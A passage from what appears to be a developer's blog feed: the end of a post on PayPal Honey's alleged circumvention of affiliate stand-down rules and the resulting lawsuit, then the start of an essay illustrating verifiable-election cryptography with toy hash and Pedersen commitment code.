<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nx">a</span> <span class="o">=</span> <span class="s2">&#34;ssd&#34;</span> <span class="o">===</span> <span class="nx">r</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="sr">/ebay/</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">p</span><span class="p">);</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Why? Because in 2008 eBay brought civil and criminal charges against its two biggest affiliates, Shawn Hogan and Brian Dunning, who collected over $20 million in 18 months running cookie-stuffing schemes, and both went to jail. Edelman himself helped catch them. Honey knew exactly who not to mess with. The rest of the market, apparently, was fair game.</p>
<h3>Telemetry: the evidence that documents itself<span class="hx:absolute hx:-mt-20" id="telemetry-the-evidence-that-documents-itself"></span>
    <a href="#telemetry-the-evidence-that-documents-itself" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The part that made my jaw drop: from day one, the defeat device <strong>logged every decision it made</strong>. When the extension decides to honor stand down, it sends telemetry with <code>&quot;method&quot;:&quot;suspend&quot;</code> and a <code>state</code> saying exactly which rule fired, <code>&quot;uP:5001&quot;</code>, <code>&quot;gca&quot;</code>, <code>&quot;ssd&quot;</code>, along with the original affiliate link, which frequently contains the stiffed affiliate&rsquo;s ID and sometimes their name.</p>
<p>Somewhere on PayPal&rsquo;s servers sits a detailed record of every commission this system helped steal. MegaLag closes the fourth video urging the networks to demand that data and claw the money back. Hard to argue with that.</p>
<h3>How MegaLag proved it on the public extension<span class="hx:absolute hx:-mt-20" id="how-megalag-proved-it-on-the-public-extension"></span>
    <a href="#how-megalag-proved-it-on-the-public-extension" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>One bit of engineering that deserves respect. After the first video, PayPal raised the base threshold to 65,000 points, effectively switching the mechanism off for nearly everyone and narrowing the sketchy behavior. Except whoever edited the <code>ssd.json</code> forgot the Rakuten exception: <code>&quot;LS&quot;: {&quot;uP&quot;: 5001}</code>.</p>
<p>MegaLag went on what he calls a <em>&ldquo;painfully expensive shopping spree&rdquo;</em> until he crossed 5,000 points, and reproduced the fraud on the public extension, untouched, without modifying a single line. (Edelman did it the easy way: he intercepted the server&rsquo;s response with Fiddler and lied about his own points balance. His code is in the article linked above.)</p>
<h2>The PayPal rewrite<span class="hx:absolute hx:-mt-20" id="the-paypal-rewrite"></span>
    <a href="#the-paypal-rewrite" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The system&rsquo;s genealogy, reconstructed by MegaLag from ~300 archived extension builds going back to 2014:</p>
<ul>
<li><strong>October 2017</strong>: the SSD first appears, in version 10.5.2, still under founders Ryan Hudson and George Ruan, but encrypted, scrambled, unreadable to anyone who stumbled on it. Researcher Wladimir Palant had already documented in 2020 that Honey concealed chunks of its own code.</li>
<li><strong>March 2021</strong>: under PayPal, version 13.1.0, <strong>the entire system was rebuilt</strong>. The rules were restructured into a new format and started living in plain text on PayPal&rsquo;s servers. That careless rewrite is what exposed everything.</li>
</ul>
<p>Hold that thought and compare it with PayPal&rsquo;s official statement after the roof caved in:</p>
<blockquote>
  <p><em>&ldquo;The code causing this behavior has been identified and no longer has an impact. The code was implemented prior to PayPal&rsquo;s acquisition and appears to affect less than 0.1% of Honey&rsquo;s traffic.&rdquo;</em></p>
<p>— PayPal to Hello Partner, January 2026</p>

</blockquote>
<p>MegaLag calls that what it is: a lie. You don&rsquo;t rebuild a system from scratch, tune its rules year after year, and then claim you had no idea it existed.</p>
<p>The timeline gives it away: MegaLag asked PayPal for comment on December 18, 2025; they called the accusations <em>&ldquo;not accurate&rdquo;</em> and sent the lawyers after him. Rakuten cut Honey from its network on January 12, 2026. The defeat device was deactivated on January 13, one day later, almost a month after the warning. And &ldquo;0.1% of traffic&rdquo; is empty rhetoric: the rules live on the server, so the targeting was always remotely tunable. Under the 2023 rules, the target was practically everyone.</p>
<h2>The fallout<span class="hx:absolute hx:-mt-20" id="the-fallout"></span>
    <a href="#the-fallout" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>After Cookie Gate, things moved:</p>
<ul>
<li><strong>Rakuten Advertising</strong> (January 12, 2026): terminated Honey from the entire network, more than 2,000 stores, including Walmart, Lego, Sephora, Newegg, Uniqlo, and Samsung. The sordid detail: internal emails that surfaced in the litigation show Rakuten knew about stand-down violations as early as July 2020 and kept Honey anyway, and PayPal even replied that Rakuten&rsquo;s stand-down policies were <em>&ldquo;overreach.&rdquo;</em> In May 2026 Rakuten quietly let Honey back in, after publishing an <a href="https://github.com/rakutenrewards/PublisherStandown-SDK"target="_blank" rel="noopener">open-source stand-down SDK</a> that Honey implemented.</li>
<li><strong>Impact</strong> (January 16): removed Honey from its discovery marketplace and suspended the account, confirming a breach of <em>&ldquo;universal stand-down requirements.&rdquo;</em></li>
<li><strong>Awin</strong> (January 21): the biggest network affected, with over 16,000 merchants. Confirmed <em>&ldquo;breaches of our publisher policies,&rdquo;</em> suspended payments, and imposed a remediation plan that includes <strong>giving the networks access to Honey&rsquo;s source code</strong>.</li>
<li><strong>Google</strong>: in March 2025 the Chrome Web Store started requiring a <em>&ldquo;direct and transparent user benefit&rdquo;</em> for any extension injecting affiliate links. Honey&rsquo;s workaround was switching on 0.1% to 1% cashback at nearly every partner store. Technically a benefit, practically loose change.</li>
<li><strong>The market responded</strong>: Honey lost about 7 million users (from 20 million to 14), over 7,000 stores (from ~35,000 to ~28,000), and the coupon database shrank from ~90,000 to ~50,000 codes. Apple, which alone generated more monetizable traffic than the bottom 27,000 stores combined, walked.</li>
</ul>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/EXDemfGNGz0"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<h2>The class action<span class="hx:absolute hx:-mt-20" id="the-class-action"></span>
    <a href="#the-class-action" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Here&rsquo;s where David meets Goliath in court. Days after the first video, on December 29, 2024, Wendover Productions (Sam Denby&rsquo;s company) filed the first suit; Devin Stone of LegalEagle, an actual attorney, organized the effort, and some twenty firms filed similar complaints across several states, with GamersNexus as lead plaintiff in one of them. The cases were consolidated in the Northern District of California: <em>In re PayPal Honey Browser Extension Litigation</em>, case 5:24-cv-09470-BLF, Judge Beth Labson Freeman.</p>
<p>The claims in the current complaint: unjust enrichment, intentional interference with contractual relations and with prospective economic advantage, violations of the Computer Fraud and Abuse Act (the American anti-hacking law), California&rsquo;s computer data access and fraud statute, and the unfair competition laws of California and Washington.</p>
<p>The procedural timeline is a soap opera:</p>
<ul>
<li><strong>November 2025</strong>: PayPal tried to force arbitration and lost. Weeks later, Judge Freeman dismissed the first complaint, with leave to amend, because the affiliate contracts were with the merchants, not PayPal, and the Monte Carlo simulation the plaintiffs used to estimate damages didn&rsquo;t persuade her. Ryan Hudson tweeted <em>&ldquo;Case dismissed&rdquo;</em> and did a little victory lap. Hello Partner, the industry trade publication that had Honey as premier sponsor of its flagship conference, rushed out a piece on <em>&ldquo;what MegaLag got wrong.&rdquo;</em></li>
<li><strong>January 2026</strong>: the second complaint arrived at 101 pages, ten named plaintiffs, the actual merchant contracts, test-purchase evidence and, crucially, the Cookie Gate findings baked in. Page 65 describes the defeat device in detail: <em>&ldquo;PayPal devised several methods to ignore or circumvent stand down protocols,&rdquo;</em> including detecting visits to affiliate network websites, which the complaint calls <em>&ldquo;arguably the most glaring reveal of PayPal&rsquo;s bad intent.&rdquo;</em></li>
<li><strong>June 4, 2026</strong>: second hearing. The judge warned PayPal&rsquo;s attorney, Richard Jacobson, the same lawyer who signed the cease-and-desist against MegaLag, that he had <em>&ldquo;an uphill battle.&rdquo;</em> When the defense argued that affiliate IDs are <em>&ldquo;just short strings of numbers and letters&rdquo;</em> with no intrinsic value, the judge replied that you could say the same thing about a dollar bill. Jacobson: <em>&ldquo;I don&rsquo;t know how to respond to that.&rdquo;</em></li>
<li><strong>June 22, 2026</strong>: the motion to dismiss was <strong>denied in full</strong>. Every claim survived. The case now moves into discovery: internal documents, communications, depositions, possibly of the founders and PayPal&rsquo;s own engineers. Trial, if it happens, late 2027. MegaLag&rsquo;s guess, and mine too: PayPal will try to settle to bury those depositions.</li>
</ul>
<p>Worth noting: a parallel UK consumer suit over the misleading <em>&ldquo;best coupons&rdquo;</em> advertising was dismissed in June 2026. And Capital One Shopping, sued over a similar scheme, settled in September 2025 denying liability.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>What gets me about this whole story is PayPal&rsquo;s behavior at every step. Accused with video and live demonstrations, they called it fake news. Confronted with the code, they sent a cease-and-desist and tried to get the video pulled from Patreon with a copyright claim. Formally alerted about the defeat device, they called it <em>&ldquo;not accurate&rdquo;</em> and waited for Rakuten to act before switching it off. Caught, they announced they&rsquo;d <em>&ldquo;recently discovered&rdquo;</em> a system the company itself rebuilt in 2021.</p>
<p>At every rung, the choice was deny, threaten, minimize, until the evidence made the position untenable; then retreat half a step pretending surprise.</p>
<p>Honey, as a product, is a lost cause. Even if you don&rsquo;t care about the ethics of skimming creators&rsquo; commissions, remember what Amazon warned back in 2020: this is an extension with permission to read and modify your data on any website, one that scans your cookies, logs your browsing history with geolocation, and applied knowingly expired coupons just to keep the numbers up. Uninstall it. No coupon is worth that.</p>
<p>And there&rsquo;s an inspiring side to this: one motivated developer from New Zealand, armed with a packet sniffer, a test account, and patience, did what billion-dollar networks with compliance teams couldn&rsquo;t do in eight years. His weapon was a plain-text JSON file and a few dozen lines of JavaScript that PayPal itself served to anyone who bothered to look. The line that closes the fourth video sums up the arrogance he brought down:</p>
<blockquote>
  <p><em>&ldquo;When I&rsquo;m wrong, I&rsquo;m MegaLag. When I&rsquo;m right, I&rsquo;m just an industry commentator.&rdquo;</em></p>

</blockquote>
<p>Well, now he&rsquo;s a de facto technical witness in a federal case. David won this round. And it was beautiful to watch.</p>
]]></content:encoded><category>security</category><category>tech-market</category></item><item><title>Why a Perfect Digital Election Still Wouldn't Be Viable?</title><link>https://akitaonrails.github.io/en/2026/08/07/why-a-perfect-digital-election-still-wouldnt-be-viable/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/08/07/why-a-perfect-digital-election-still-wouldnt-be-viable/</guid><pubDate>Fri, 07 Aug 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;Every election in Brazil turns into the same soap opera: half the country doesn&amp;rsquo;t trust the result. And unlike most countries, there is nothing to recount. Brazil is one of the few countries in the world with a &lt;strong&gt;100% digital&lt;/strong&gt; election: no paper receipt, no physical ballot, no possibility of an independent recount. Your vote goes into an electronic voting machine, becomes a number inside closed software, and out comes a tally. Either you trust the TSE (the Superior Electoral Court), or there&amp;rsquo;s nothing you can do.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Every election in Brazil turns into the same soap opera: half the country doesn&rsquo;t trust the result. And unlike most countries, there is nothing to recount. Brazil is one of the few countries in the world with a <strong>100% digital</strong> election: no paper receipt, no physical ballot, no possibility of an independent recount. Your vote goes into an electronic voting machine, becomes a number inside closed software, and out comes a tally. Either you trust the TSE (the Superior Electoral Court), or there&rsquo;s nothing you can do.</p>
<p>Recently the TSE put on a little theater show: it <a href="https://www.tse.jus.br/comunicacao/noticias/2026/Junho/eleicoes-2026-tse-abre-urna-eletronica-para-tecnicos-da-sociedade-brasileira-de-computacao"target="_blank" rel="noopener">&ldquo;opened up the voting machine&rdquo;</a> so technicians from the Brazilian Computer Society could look at the components. That&rsquo;s obviously useless. Showing a motherboard, a processor, and some memory chips proves there&rsquo;s no malware the way looking at a car&rsquo;s engine proves the driver is sober. Hardware is just the stage; the play happens in the software. And auditing the software is precisely what&rsquo;s hard, restricted, full of ritual and short windows — which completely defeats the purpose of public transparency. An audit that only a handful of credentialed people can perform, under supervision, for a few days, is not transparency. It&rsquo;s a performance.</p>
<p>And for the record: I&rsquo;m not defending the current system, and I have zero expectations for it. As I summed up in <a href="https://x.com/AkitaOnRails/status/2084669984555331706"target="_blank" rel="noopener">this tweet</a>: the voting machine is just a box, an old PC. Even if the software were perfect, it wouldn&rsquo;t matter — the processes around it stay secret, done behind closed doors. The machine is a smokescreen. With or without an alternative, I don&rsquo;t care about it.</p>
<p>Many people conclude from this that the answer is digital elections, but with a different system. This article is a computer science exercise: what would a hypothetically perfect system look like? And, more importantly, the final conclusion: <strong>why even that perfect system would not be a viable option.</strong></p>
<p>One thing worth emphasizing before we start: the system I&rsquo;m about to describe would require <strong>no</strong> secrecy from the government. No secret components, no secret processes, no locked rooms with credentialed people standing guard. Everything — the code, the data, the whole structure — could be 100% open, accessible to anyone, no restrictions whatsoever. And it would still be possible to prove, mathematically, that fraud is impossible. It&rsquo;s the exact opposite of the current model, where trust is born out of secrecy.</p>
<blockquote>
  <p>No patience for code and math along the way? <a href="#why-this-would-never-work">Skip straight to the part where I explain why this wouldn&rsquo;t work</a>. And at the end of the article, three appendices: <a href="#appendix-1-so-is-the-current-system-auditable">is the current system auditable?</a>, <a href="#appendix-2-skin-in-the-game--rewarding-those-who-verify">how to reward voters who verify their vote</a>, and <a href="#appendix-3-why-zero-knowledge-is-so-hard-to-swallow">why &ldquo;zero knowledge&rdquo; is so hard to swallow</a>.</p>

</blockquote>
<h2>&ldquo;The machine is safe because it&rsquo;s not on the internet&rdquo;<span class="hx:absolute hx:-mt-20" id="the-machine-is-safe-because-its-not-on-the-internet"></span>
    <a href="#the-machine-is-safe-because-its-not-on-the-internet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sooner or later, every defender of the current system plays this card: the voting machine isn&rsquo;t connected to the internet, so it can&rsquo;t be hacked from the outside. Technically true. And completely beside the point.</p>
<p>First, because isolation says nothing about what the software does. An offline machine can flip votes just the same — you simply get no way to watch it happen. And malware doesn&rsquo;t need a network to get in: it can come from the factory, from an update, from the supply chain, from a technician with physical access. Stuxnet, the most famous worm in history, crossed the air gap into Iran&rsquo;s centrifuges on a USB stick. An air gap is an obstacle, not proof of honesty. And notice: the machine&rsquo;s data has to leave it somehow at the end of the day, on physical media carried around or through later transmission. &ldquo;Not on the internet&rdquo; is a logistical half-truth.</p>
<p>Second, and more important: that argument exposes the wrong mental model. The current system&rsquo;s security comes from <strong>physical custody</strong> — seals, locked rooms, accredited observers, rituals. In other words, once again, from trusting people and processes you cannot see.</p>
<p>In the system I&rsquo;m about to describe, the machine could be <strong>plugged straight into the internet</strong>, publishing every vote to the public tree in real time, and fraud would still be impossible. Not because the network is safe, but because nobody needs to trust the machine:</p>
<ul>
<li>What it publishes are opaque commitments: even broadcasting everything live, there is no vote to leak in the published data.</li>
<li>Every commitment carries a mathematical validity proof: the machine cannot mint an invalid vote.</li>
<li>The tree is public and replicated by independent observers: nothing published can be altered later without breaking the hashes.</li>
<li>And if the machine flips your vote at the booth, the Benaloh challenge catches it (that&rsquo;s Building block 4, further down): it cannot know whether you&rsquo;ll cast or audit.</li>
</ul>
<p>Being online or not stops being the question. Security doesn&rsquo;t live in the absence of a network; it lives in public verification. &ldquo;Trust us, the machine is locked in a room&rdquo; becomes &ldquo;don&rsquo;t trust anything, check the math.&rdquo; That inversion is the one thing the current model cannot offer.</p>
<h2>The tweet that inspired this post<span class="hx:absolute hx:-mt-20" id="the-tweet-that-inspired-this-post"></span>
    <a href="#the-tweet-that-inspired-this-post" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I recently posted <a href="https://x.com/AkitaOnRails/status/2085550756837335483"target="_blank" rel="noopener">this tweet</a> about end-to-end verifiability (E2E-V). The gist of the idea:</p>
<ol>
<li>Every voter gets a paper receipt with a unique identifier — a hash — that <strong>identifies neither the person nor the vote</strong>.</li>
<li>Each precinct&rsquo;s votes go into a public structure you can only append to, never delete from (<em>append-only</em>): a Merkle tree (the same principle as a blockchain).</li>
<li>That tree is published in full. Any citizen downloads and verifies it.</li>
<li><strong>Individual verifiability:</strong> each voter checks that their hash is there, no middleman.</li>
<li><strong>Universal verifiability:</strong> anyone recomputes the tree and checks that it produces the announced total.</li>
</ol>
<p>I made it explicit in the tweet: this is <strong>not</strong> a solution, it&rsquo;s a napkin sketch. The concept exists, it&rsquo;s mathematically solid, and it&rsquo;s old news to anyone in computer science. But the reaction was interesting.</p>
<h2>The voto de cabresto problem<span class="hx:absolute hx:-mt-20" id="the-voto-de-cabresto-problem"></span>
    <a href="#the-voto-de-cabresto-problem" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A lot of the comments got stuck on the same point: the <em>voto de cabresto</em> — the &ldquo;halter vote&rdquo;. It&rsquo;s a historical practice in Brazil: the local political boss buys a poor voter&rsquo;s vote and demands proof they voted &ldquo;the right way&rdquo;. Back in the day it was the pre-marked ballot; today it would be a photo of the voting machine&rsquo;s screen (which is why phones are banned inside the booth).</p>
<p>And that raises an apparent contradiction:</p>
<ul>
<li>If the receipt the voter takes home <strong>reveals</strong> who they voted for, the vote can be coerced or sold.</li>
<li>If the receipt <strong>doesn&rsquo;t reveal</strong> who they voted for, how does the voter check that their vote went to the right candidate?</li>
</ul>
<p>I recently posted the answer, albeit only in passing: <strong>zero-knowledge proofs</strong> (ZK). The same principle behind truly anonymous cryptocurrencies like Monero and Zcash.</p>
<p>The flow would go like this: the voter picks the candidate on the screen; the machine generates a secret random number, computes <code>ciphertext = Enc(election_public_key, vote; random)</code>, produces a ZK proof that this ciphertext contains a valid vote, and publishes everything to a public Merkle tree. The voter takes home only a serial number. The serial <strong>does not contain the vote</strong>, but it lets you prove the vote exists in the tree and was not tampered with.</p>
<p>Here&rsquo;s what this looks like for programmers, step by step, with real values. And at the end I&rsquo;ll explain why, even working perfectly, this would fix nothing.</p>
<h2>Building block 1: hash as commitment<span class="hx:absolute hx:-mt-20" id="building-block-1-hash-as-commitment"></span>
    <a href="#building-block-1-hash-as-commitment" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The foundation of everything is the hash function. A function like SHA-256 takes any input and produces 32 seemingly random bytes. Three properties matter here:</p>
<ul>
<li><strong>Deterministic:</strong> same input, same output. Always.</li>
<li><strong>One-way:</strong> given the hash, there&rsquo;s no going back to the input.</li>
<li><strong>Avalanche:</strong> flip one bit of the input and the whole hash changes.</li>
</ul>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">commit</span><span class="p">(</span><span class="n">voto</span><span class="p">,</span> <span class="n">nonce</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">voto</span><span class="si">}</span><span class="s2">:</span><span class="si">{</span><span class="n">nonce</span><span class="si">}</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">commit(&#39;Candidato A&#39;, 987654321) = 337051f1dbc6a8ef412ecc14067c263d6a0dc83dada6939b51d74b6651727b69
</span></span><span class="line"><span class="cl">commit(&#39;Candidato A&#39;, 123456789) = 55512bcd60924abf68d162f1a130023635089974db08ea9cff691e1f209898ab
</span></span><span class="line"><span class="cl">commit(&#39;Candidato B&#39;, 987654321) = faf54e90eb84ba4c0446701c3779a382e48d02847bd2301f3836f673c54f9693</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Look closely. The first and second hashes hide <strong>the same vote</strong> — what changes is the <code>nonce</code>, a random number that acts as &ldquo;wrapping&rdquo;. The first and third share the same nonce, but different votes. The three hashes have no visible resemblance to one another.</p>
<p>This is a <strong>commitment</strong>: I publish the hash today, and tomorrow I can reveal <code>(vote, nonce)</code> and anyone can check the hash matches. I can&rsquo;t change my vote after publishing (the <em>binding</em> property), and nobody can figure out the vote before the reveal (the <em>hiding</em> property).</p>
<p>Except there&rsquo;s a problem for our election: if the voter takes home both the vote and the nonce, they can <strong>show both to the coercer</strong>, who verifies the hash and confirms the vote. The halter is back. We need something better.</p>
<h2>Building block 2: Pedersen commitments — hiding for real<span class="hx:absolute hx:-mt-20" id="building-block-2-pedersen-commitments--hiding-for-real"></span>
    <a href="#building-block-2-pedersen-commitments--hiding-for-real" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The Pedersen commitment solves this with modular arithmetic. I&rsquo;ll use toy numbers so you can check the math by hand; real systems use 2048-bit primes or elliptic curves, but the math is identical.</p>
<p>Take a prime <code>p = 23</code> and two generators <code>g = 4</code> and <code>h = 8</code> (both generate a subgroup of order 11 modulo 23 — check it: <code>4^11 mod 23 = 1</code> and <code>8^11 mod 23 = 1</code>). The commitment to a vote <code>v</code> with nonce <code>n</code> is:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">C = g^v * h^n  (mod p)</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">h</span> <span class="o">=</span> <span class="mi">23</span><span class="p">,</span> <span class="mi">11</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">8</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">pedersen</span><span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">v</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span> <span class="o">*</span> <span class="nb">pow</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">p</span><span class="p">))</span> <span class="o">%</span> <span class="n">p</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">C(voto=1, n=3)  = 1
</span></span><span class="line"><span class="cl">C(voto=1, n=9)  = 13
</span></span><span class="line"><span class="cl">C(voto=0, n=3)  = 6</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Same vote, different nonces, completely different commitments. Now the part that matters. Pedersen has a property called <strong>perfect hiding</strong>: for any commitment <code>C</code>, there <strong>exists</strong> a nonce that opens <code>C</code> as vote 0, and there <strong>exists</strong> a nonce that opens <code>C</code> as vote 1. With our toy prime we can prove it by brute force:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">C</span> <span class="o">=</span> <span class="mi">1</span>  <span class="c1"># the commitment from above, C(vote=1, n=3)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">11</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">pedersen</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">==</span> <span class="n">C</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;C abre como voto=0 com nonce </span><span class="si">{</span><span class="n">n</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">pedersen</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">==</span> <span class="n">C</span><span class="p">:</span>
